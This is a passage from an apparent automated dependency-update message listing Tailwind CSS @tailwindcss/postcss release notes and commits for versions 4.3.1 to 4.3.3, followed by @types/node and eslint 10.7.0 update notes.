\u003ccode\u003ebg-white\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20298\"\u003e#20298\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent Preflight from overriding Firefox's native \u003ccode\u003eiframe:focus-visible\u003c/code\u003e outline styles (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20292\"\u003e#20292\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003etheme('colors.foo')\u003c/code\u003e in JS plugins resolves correctly when both \u003ccode\u003e--color-foo\u003c/code\u003e and \u003ccode\u003e--color-foo-bar\u003c/code\u003e exist (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20299\"\u003e#20299\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure fractional opacity modifiers work with named shadow sizes like \u003ccode\u003eshadow-sm/12.5\u003c/code\u003e, \u003ccode\u003etext-shadow-sm/12.5\u003c/code\u003e, \u003ccode\u003edrop-shadow-sm/12.5\u003c/code\u003e, and \u003ccode\u003einset-shadow-sm/12.5\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20302\"\u003e#20302\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eParse selectors like \u003ccode\u003e[data-foo]div\u003c/code\u003e as two selectors instead of one (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20303\"\u003e#20303\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003e@tailwindcss/postcss\u003c/code\u003e rebuilds when a preprocessor like Sass changes the input CSS without changing the input file on disk (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20310\"\u003e#20310\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure CSS nesting is handled even when Lightning CSS isn't run, such as in \u003ccode\u003e@tailwindcss/browser\u003c/code\u003e and Tailwind Play (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20124\"\u003e#20124\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent achromatic theme colors from shifting hue when mixed in polar color spaces like \u003ccode\u003eoklch\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20314\"\u003e#20314\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003e--spacing(0)\u003c/code\u003e is optimized to \u003ccode\u003e0px\u003c/code\u003e instead of \u003ccode\u003e0\u003c/code\u003e so it remains a \u003ccode\u003e\u0026lt;length\u0026gt;\u003c/code\u003e when used in \u003ccode\u003ecalc(…)\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20319\"\u003e#20319\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eLoad \u003ccode\u003e@parcel/watcher\u003c/code\u003e only when needed in \u003ccode\u003e@tailwindcss/cli --watch\u003c/code\u003e mode, so one-off builds and \u003ccode\u003e--watch --poll\u003c/code\u003e work when \u003ccode\u003e@parcel/watcher\u003c/code\u003e can't be loaded (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20325\"\u003e#20325\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUse explicit platform fonts instead of \u003ccode\u003esystem-ui\u003c/code\u003e and \u003ccode\u003eui-sans-serif\u003c/code\u003e so CJK text respects the page's \u003ccode\u003elang\u003c/code\u003e attribute on Windows (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20318\"\u003e#20318\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@tailwindcss/upgrade\u003c/code\u003e from rewriting ignored files when run from a subdirectory (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20329\"\u003e#20329\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure earlier \u003ccode\u003e@source\u003c/code\u003e rules pointing to nested files are scanned when later \u003ccode\u003e@source\u003c/code\u003e rules point to files in parent folders (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20335\"\u003e#20335\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@tailwindcss/vite\u003c/code\u003e from triggering full page reloads when scanned files are processed by Vite but haven't been loaded as modules yet (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20336\"\u003e#20336\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev4.3.2\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSupport bare spacing values for \u003ccode\u003eauto-rows-*\u003c/code\u003e and \u003ccode\u003eauto-cols-*\u003c/code\u003e utilities (e.g. \u003ccode\u003eauto-rows-12\u003c/code\u003e and \u003ccode\u003eauto-cols-16\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20229\"\u003e#20229\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@tailwindcss/cli\u003c/code\u003e in \u003ccode\u003e--watch\u003c/code\u003e mode from crashing on Windows when \u003ccode\u003e@source\u003c/code\u003e points to a directory that doesn't exist (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20242\"\u003e#20242\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@tailwindcss/vite\u003c/code\u003e from crashing in Deno v2.8.x when \u003ccode\u003econtext.parentURL\u003c/code\u003e is not a valid URL (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20245\"\u003e#20245\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003e@tailwindcss/cli\u003c/code\u003e in \u003ccode\u003e--watch\u003c/code\u003e mode rebuilds when the input CSS file changes in an ignored directory (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20246\"\u003e#20246\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAllow \u003ccode\u003e@variant\u003c/code\u003e rules used in \u003ccode\u003eaddBase(…)\u003c/code\u003e to use custom variants defined later (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20247\"\u003e#20247\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@tailwindcss/vite\u003c/code\u003e from crashing during HMR when scanned files or directories are deleted (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20259\"\u003e#20259\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eGenerate \u003ccode\u003efont-size\u003c/code\u003e instead of \u003ccode\u003ecolor\u003c/code\u003e declarations for \u003ccode\u003etext-[--spacing(…)]\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20260\"\u003e#20260\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@source\u003c/code\u003e patterns from scanning unrelated sibling files and folders (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20263\"\u003e#20263\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eExtract class candidates adjacent to Template Toolkit delimiters like \u003ccode\u003e%]…[%\u003c/code\u003e in \u003ccode\u003e.tt\u003c/code\u003e, \u003ccode\u003e.tt2\u003c/code\u003e, and \u003ccode\u003e.tx\u003c/code\u003e files (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20269\"\u003e#20269\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eExtract class candidates from conditional Maud syntax like \u003ccode\u003ep.text-black[condition]\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20269\"\u003e#20269\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@position-try\u003c/code\u003e rules from triggering unknown at-rule warnings when optimizing CSS (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20277\"\u003e#20277\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSupport class suggestions for named opacity modifiers from \u003ccode\u003e--opacity\u003c/code\u003e theme values (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20287\"\u003e#20287\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent type errors in \u003ccode\u003e@tailwindcss/postcss\u003c/code\u003e when used with newer PostCSS patch releases (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20289\"\u003e#20289\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev4.3.1\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd \u003ccode\u003e--silent\u003c/code\u003e option to suppress output in \u003ccode\u003e@tailwindcss/cli\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20100\"\u003e#20100\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eRemove deprecation warnings by using \u003ccode\u003eModule#registerHooks\u003c/code\u003e instead of \u003ccode\u003eModule#register\u003c/code\u003e on Node 26+ (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20028\"\u003e#20028\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCanonicalization: don't crash when plugin utilities throw for unsupported values (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20052\"\u003e#20052\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAllow \u003ccode\u003e@apply\u003c/code\u003e to be used with CSS mixins (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/19427\"\u003e#19427\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003enot-*\u003c/code\u003e correctly negates \u003ccode\u003e@container\u003c/code\u003e queries, including \u003ccode\u003estyle(…)\u003c/code\u003e queries (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20059\"\u003e#20059\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003edrop-shadow-*\u003c/code\u003e color utilities work with custom shadow values containing \u003ccode\u003ecalc(…)\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20080\"\u003e#20080\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix 'Sourcemap is likely to be incorrect' warnings when using \u003ccode\u003e@tailwindcss/vite\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20103\"\u003e#20103\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003e@tailwindcss/webpack\u003c/code\u003e can be installed in Rspack projects without requiring \u003ccode\u003ewebpack\u003c/code\u003e as a peer dependency (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20027\"\u003e#20027\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/tailwindlabs/tailwindcss/blob/main/CHANGELOG.md\"\u003e@​tailwindcss/postcss's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[4.3.3] - 2026-07-16\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSupport \u003ccode\u003e--watch --poll[=ms]\u003c/code\u003e in \u003ccode\u003e@tailwindcss/cli\u003c/code\u003e when filesystem events are unreliable or unavailable (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20297\"\u003e#20297\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCanonicalization: match arbitrary hex colors against theme colors case-insensitively (e.g. \u003ccode\u003ebg-[#fff]\u003c/code\u003e and \u003ccode\u003ebg-[#FFF]\u003c/code\u003e → \u003ccode\u003ebg-white\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20298\"\u003e#20298\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent Preflight from overriding Firefox's native \u003ccode\u003eiframe:focus-visible\u003c/code\u003e outline styles (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20292\"\u003e#20292\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003etheme('colors.foo')\u003c/code\u003e in JS plugins resolves correctly when both \u003ccode\u003e--color-foo\u003c/code\u003e and \u003ccode\u003e--color-foo-bar\u003c/code\u003e exist (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20299\"\u003e#20299\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure fractional opacity modifiers work with named shadow sizes like \u003ccode\u003eshadow-sm/12.5\u003c/code\u003e, \u003ccode\u003etext-shadow-sm/12.5\u003c/code\u003e, \u003ccode\u003edrop-shadow-sm/12.5\u003c/code\u003e, and \u003ccode\u003einset-shadow-sm/12.5\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20302\"\u003e#20302\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eParse selectors like \u003ccode\u003e[data-foo]div\u003c/code\u003e as two selectors instead of one (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20303\"\u003e#20303\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003e@tailwindcss/postcss\u003c/code\u003e rebuilds when a preprocessor like Sass changes the input CSS without changing the input file on disk (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20310\"\u003e#20310\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure CSS nesting is handled even when Lightning CSS isn't run, such as in \u003ccode\u003e@tailwindcss/browser\u003c/code\u003e and Tailwind Play (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20124\"\u003e#20124\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent achromatic theme colors from shifting hue when mixed in polar color spaces like \u003ccode\u003eoklch\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20314\"\u003e#20314\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003e--spacing(0)\u003c/code\u003e is optimized to \u003ccode\u003e0px\u003c/code\u003e instead of \u003ccode\u003e0\u003c/code\u003e so it remains a \u003ccode\u003e\u0026lt;length\u0026gt;\u003c/code\u003e when used in \u003ccode\u003ecalc(…)\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20319\"\u003e#20319\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eLoad \u003ccode\u003e@parcel/watcher\u003c/code\u003e only when needed in \u003ccode\u003e@tailwindcss/cli --watch\u003c/code\u003e mode, so one-off builds and \u003ccode\u003e--watch --poll\u003c/code\u003e work when \u003ccode\u003e@parcel/watcher\u003c/code\u003e can't be loaded (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20325\"\u003e#20325\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUse explicit platform fonts instead of \u003ccode\u003esystem-ui\u003c/code\u003e and \u003ccode\u003eui-sans-serif\u003c/code\u003e so CJK text respects the page's \u003ccode\u003elang\u003c/code\u003e attribute on Windows (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20318\"\u003e#20318\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@tailwindcss/upgrade\u003c/code\u003e from rewriting ignored files when run from a subdirectory (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20329\"\u003e#20329\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure earlier \u003ccode\u003e@source\u003c/code\u003e rules pointing to nested files are scanned when later \u003ccode\u003e@source\u003c/code\u003e rules point to files in parent folders (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20335\"\u003e#20335\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@tailwindcss/vite\u003c/code\u003e from triggering full page reloads when scanned files are processed by Vite but haven't been loaded as modules yet (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20336\"\u003e#20336\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[4.3.2] - 2026-06-26\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSupport bare spacing values for \u003ccode\u003eauto-rows-*\u003c/code\u003e and \u003ccode\u003eauto-cols-*\u003c/code\u003e utilities (e.g. \u003ccode\u003eauto-rows-12\u003c/code\u003e and \u003ccode\u003eauto-cols-16\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20229\"\u003e#20229\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@tailwindcss/cli\u003c/code\u003e in \u003ccode\u003e--watch\u003c/code\u003e mode from crashing on Windows when \u003ccode\u003e@source\u003c/code\u003e points to a directory that doesn't exist (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20242\"\u003e#20242\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@tailwindcss/vite\u003c/code\u003e from crashing in Deno v2.8.x when \u003ccode\u003econtext.parentURL\u003c/code\u003e is not a valid URL (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20245\"\u003e#20245\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003e@tailwindcss/cli\u003c/code\u003e in \u003ccode\u003e--watch\u003c/code\u003e mode rebuilds when the input CSS file changes in an ignored directory (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20246\"\u003e#20246\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAllow \u003ccode\u003e@variant\u003c/code\u003e rules used in \u003ccode\u003eaddBase(…)\u003c/code\u003e to use custom variants defined later (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20247\"\u003e#20247\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@tailwindcss/vite\u003c/code\u003e from crashing during HMR when scanned files or directories are deleted (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20259\"\u003e#20259\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eGenerate \u003ccode\u003efont-size\u003c/code\u003e instead of \u003ccode\u003ecolor\u003c/code\u003e declarations for \u003ccode\u003etext-[--spacing(…)]\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20260\"\u003e#20260\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@source\u003c/code\u003e patterns from scanning unrelated sibling files and folders (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20263\"\u003e#20263\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eExtract class candidates adjacent to Template Toolkit delimiters like \u003ccode\u003e%]…[%\u003c/code\u003e in \u003ccode\u003e.tt\u003c/code\u003e, \u003ccode\u003e.tt2\u003c/code\u003e, and \u003ccode\u003e.tx\u003c/code\u003e files (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20269\"\u003e#20269\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eExtract class candidates from conditional Maud syntax like \u003ccode\u003ep.text-black[condition]\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20269\"\u003e#20269\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@position-try\u003c/code\u003e rules from triggering unknown at-rule warnings when optimizing CSS (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20277\"\u003e#20277\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSupport class suggestions for named opacity modifiers from \u003ccode\u003e--opacity\u003c/code\u003e theme values (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20287\"\u003e#20287\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent type errors in \u003ccode\u003e@tailwindcss/postcss\u003c/code\u003e when used with newer PostCSS patch releases (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20289\"\u003e#20289\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[4.3.1] - 2026-06-12\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd \u003ccode\u003e--silent\u003c/code\u003e option to suppress output in \u003ccode\u003e@tailwindcss/cli\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20100\"\u003e#20100\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eRemove deprecation warnings by using \u003ccode\u003eModule#registerHooks\u003c/code\u003e instead of \u003ccode\u003eModule#register\u003c/code\u003e on Node 26+ (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20028\"\u003e#20028\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCanonicalization: don't crash when plugin utilities throw for unsupported values (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20052\"\u003e#20052\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAllow \u003ccode\u003e@apply\u003c/code\u003e to be used with CSS mixins (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/19427\"\u003e#19427\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003enot-*\u003c/code\u003e correctly negates \u003ccode\u003e@container\u003c/code\u003e queries, including \u003ccode\u003estyle(…)\u003c/code\u003e queries (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20059\"\u003e#20059\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tailwindlabs/tailwindcss/commit/c2b24dd15fed1c59dd521bd86082f520c9f5ad0d\"\u003e\u003ccode\u003ec2b24dd\u003c/code\u003e\u003c/a\u003e 4.3.3 (\u003ca href=\"https://github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/@tailwindcss-postcss/issues/20334\"\u003e#20334\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tailwindlabs/tailwindcss/commit/e48c5e80473c25fe5a27fe267fbaf4f6512424a3\"\u003e\u003ccode\u003ee48c5e8\u003c/code\u003e\u003c/a\u003e Fix weird character rendering on Windows with Japanese locale (\u003ca href=\"https://github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/@tailwindcss-postcss/issues/20318\"\u003e#20318\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tailwindlabs/tailwindcss/commit/9b0e8af25861ad5b8f5af420ad3ee0b188665027\"\u003e\u003ccode\u003e9b0e8af\u003c/code\u003e\u003c/a\u003e Ensure \u003ccode\u003e@tailwindcss/postcss\u003c/code\u003e rebuilds when the input CSS changes but its mti...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tailwindlabs/tailwindcss/commit/b53fa096c92d830fc64b7cf69581496242583446\"\u003e\u003ccode\u003eb53fa09\u003c/code\u003e\u003c/a\u003e fix: exclude iframes from focus-visible auto outline in Preflight (\u003ca href=\"https://github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/@tailwindcss-postcss/issues/20292\"\u003e#20292\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tailwindlabs/tailwindcss/commit/056a1550721d4bf79ff732d5ab9414fa83f7064f\"\u003e\u003ccode\u003e056a155\u003c/code\u003e\u003c/a\u003e 4.3.2 (\u003ca href=\"https://github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/@tailwindcss-postcss/issues/20281\"\u003e#20281\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tailwindlabs/tailwindcss/commit/8a14a710102cae195f6811e8578bef9477bc6be9\"\u003e\u003ccode\u003e8a14a71\u003c/code\u003e\u003c/a\u003e 4.3.1 (\u003ca href=\"https://github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/@tailwindcss-postcss/issues/20226\"\u003e#20226\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tailwindlabs/tailwindcss/commit/522288ca08c7ed0e7e9d3256f40fd36981d451a3\"\u003e\u003ccode\u003e522288c\u003c/code\u003e\u003c/a\u003e Serve ESM type declarations to ESM importers of \u003ccode\u003e@tailwindcss/postcss\u003c/code\u003e (\u003ca href=\"https://github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/@tailwindcss-postcss/issues/20228\"\u003e#20228\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tailwindlabs/tailwindcss/commit/8dcdb66e8a58b9df621ed1a9cb59396e0ddb6dd7\"\u003e\u003ccode\u003e8dcdb66\u003c/code\u003e\u003c/a\u003e Bump dependencies (\u003ca href=\"https://github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/@tailwindcss-postcss/issues/20095\"\u003e#20095\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/tailwindlabs/tailwindcss/commits/v4.3.3/packages/@tailwindcss-postcss\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@types/node` from 25.9.3 to 26.1.1\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/DefinitelyTyped/DefinitelyTyped/commits/HEAD/types/node\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `eslint` from 9.39.3 to 10.7.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/eslint/eslint/releases\"\u003eeslint's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev10.7.0\u003c/h2\u003e\n\u003ch2\u003eFeatures\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/cf2a9bf2d982642f760370c15f1196f4658f4e27\"\u003e\u003ccode\u003ecf2a9bf\u003c/code\u003e\u003c/a\u003e feat: add errorClassNames option to preserve-caught-error rule (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21032\"\u003e#21032\u003c/a\u003e) (sethamus)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/f8b873aae53610b80b5c1005606716e05ed3b91f\"\u003e\u003ccode\u003ef8b873a\u003c/code\u003e\u003c/a\u003e feat: max-nested-callbacks option for constructor callbacks (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21063\"\u003e#21063\u003c/a\u003e) (fnx)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/557fde8bc633d26ea4fe287d4483f287e8e6080f\"\u003e\u003ccode\u003e557fde8\u003c/code\u003e\u003c/a\u003e feat: support computed \u003ccode\u003eNumber.parseInt\u003c/code\u003e member access in \u003ccode\u003eradix\u003c/code\u003e rule (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21041\"\u003e#21041\u003c/a\u003e) (Pixel)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/0b4a73b65808f5a8fd192f15db2bf5e47002b9f7\"\u003e\u003ccode\u003e0b4a73b\u003c/code\u003e\u003c/a\u003e feat: add suggestions to no-compare-neg-zero (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21034\"\u003e#21034\u003c/a\u003e) (den$)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/96cdd427db5f26c6403fba92b0f7ae4556c595ec\"\u003e\u003ccode\u003e96cdd42\u003c/code\u003e\u003c/a\u003e feat: report invalid signed numeric radix values in \u003ccode\u003eradix\u003c/code\u003e rule (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21030\"\u003e#21030\u003c/a\u003e) (Pixel)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eBug 